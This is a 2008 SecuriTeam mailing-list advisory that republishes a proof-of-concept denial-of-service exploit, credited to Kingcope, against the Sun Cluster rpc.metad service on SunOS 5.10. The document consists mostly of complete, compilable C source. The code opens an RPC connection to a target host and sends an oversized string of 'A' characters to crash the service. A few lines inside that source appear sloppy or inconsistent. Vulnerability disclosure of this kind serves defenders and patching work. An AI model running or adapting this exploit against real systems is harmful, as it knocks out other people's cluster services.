[EXPL] Sun Cluster rpc.metad DoS (Exploit)
- From: SecuriTeam <support@xxxxxxxxxxxxxx>
- Date: 16 Mar 2008 20:12:05 +0200
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
The SecuriTeam alerts list - Free, Accurate, Independent.
Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html
- - - - - - - - -
Sun Cluster rpc.metad DoS (Exploit)
------------------------------------------------------------------------
SUMMARY
A vulnerability in Sun's Clustering service rpc.metad allows remote
attackers to cause it to crash by sending it malformed data.
DETAILS
Vulnerable Systems:
* SunOS version 5.10
Exploit:
/*##########################################################*/
/*## SunOS 5.10 Sun Cluster rpc.metad DoS PoC #*/
/*## causes DoS on rpc.metad #*/
/*## (C) 2008 - Kingcope #*/
/*##########################################################*/
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <rpc/rpc.h>
#include <netdb.h>
#include <stdio.h>
#include <errno.h>
extern int optarg;
#define METAD_PROG 100229
#define METAD_VERS 2
#define METAD_FUNC 6
typedef struct{char *string;}req_t;
bool_t xdr_req(XDR *xdrs,req_t *obj){
if(!xdr_string(xdrs,&obj->string,~0)) return(FALSE);
return(TRUE);
}
main(int argc,char **argv){
char buffer[30000],address[4],*b,*cmd;
int i,c,n,flag=1,vers=0,port=0,sck;
CLIENT *cl;enum clnt_stat stat;
struct hostent *hp;
struct sockaddr_in adr;
struct timeval tm={10,0};
req_t req;
printf("rpc.metad for solaris 10\n\n");
if(argc<2){
printf("usage: %s address\n",argv[0]);
exit(-1);
}
printf("Using version %d and request no. %d!!\n", METAD_VERS,
METAD_FUNC);
printf("timeout=%d ",ntohl(*(unsigned long*)address),tm.tv_sec);
fflush(stdout);
adr.sin_family=AF_INET;
adr.sin_port=htons(port);
if((adr.sin_addr.s_addr=inet_addr(argv[1]))==-1){
if((hp=gethostbyname(argv[1]))==NULL){
errno=EADDRNOTAVAIL;perror("error");exit(-1);
}
memcpy(&adr.sin_addr.s_addr,hp->h_addr,4);
}
sck=RPC_ANYSOCK;
if(!(cl=clnttcp_create(&adr,METAD_PROG,METAD_VERS,&sck,0,0))){
clnt_pcreateerror("error");exit(-1);
}
cl->cl_auth=authunix_create("localhost",0,0,0,NULL);
memset(buffer, 'A', sizeof(buffer)); //buffer can also be small,this
is not a bufover
buffer[3000]=0;
req.string=buffer;
stat=clnt_call(cl,METAD_FUNC,xdr_req,&req,xdr_void,NULL,tm);
if(stat==RPC_SUCCESS) {printf("\nerror: not vulnerable\n");
printf("sent!\n"); /* if(!flag) exit(0);*/
}
}
// milw0rm.com [2008-03-14]
ADDITIONAL INFORMATION
The information has been provided by Kingcope.
The original article can be found at:
<http://www.milw0rm.com/exploits/5258>
http://www.milw0rm.com/exploits/5258
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@xxxxxxxxxxxxxx
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxx
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
- Prev by Date: [EXPL] NetWin Surgemail LIST Universal (Exploit)
- Next by Date: [NT] BootManage TFTPD Buffer Overflow
- Previous by thread: [EXPL] NetWin Surgemail LIST Universal (Exploit)
- Next by thread: [NT] BootManage TFTPD Buffer Overflow
- Index(es):
Relevant Pages
- [UNIX] OpenBSD ibcs2 Kernel Panic (Exploit)
... The following security advisory is sent to the securiteam mailing list, and can be
found at the SecuriTeam web site: http://www.securiteam.com ... struct coff_filehdr { ...
* COFF system header ... (Securiteam) - [EXPL] Sun Solaris rpc.ypupdated Arbitrary Command Execution (Exploit)
... The following security advisory is sent to the securiteam mailing list, and can be
found at the SecuriTeam web site: http://www.securiteam.com ... Sun Solaris rpc.ypupdated Arbitrary
Command Execution ... unsigned int yp_buf_len; ... struct ypupdate_args{
... (Securiteam) - [NT] Print Manager Plus Buffer Overflow
... The following security advisory is sent to the securiteam mailing list, and can be
found at the SecuriTeam web site: http://www.securiteam.com ... struct sd_t *sd; ...
server is considered full when no new connections are ... (Securiteam) - [TOOL] MSN CAPTURE - MSN Messenger Packet Parser
... The following security advisory is sent to the securiteam mailing list, and can be
found at the SecuriTeam web site: http://www.securiteam.com ... MSN CAPTURE captures MSN messenger
packets and display it to the user in a ... struct user *prox; ... void get_msg(u_char
*payload, char *msg, int cont); ... (Securiteam) - [TOOL] Snortcheck Tool: Check If Snort Its Running
... The following security advisory is sent to the securiteam mailing list, and can be
found at the SecuriTeam web site: http://www.securiteam.com ... struct addr { ...
int mac_aton; ... struct addr src, dst; ... (Securiteam)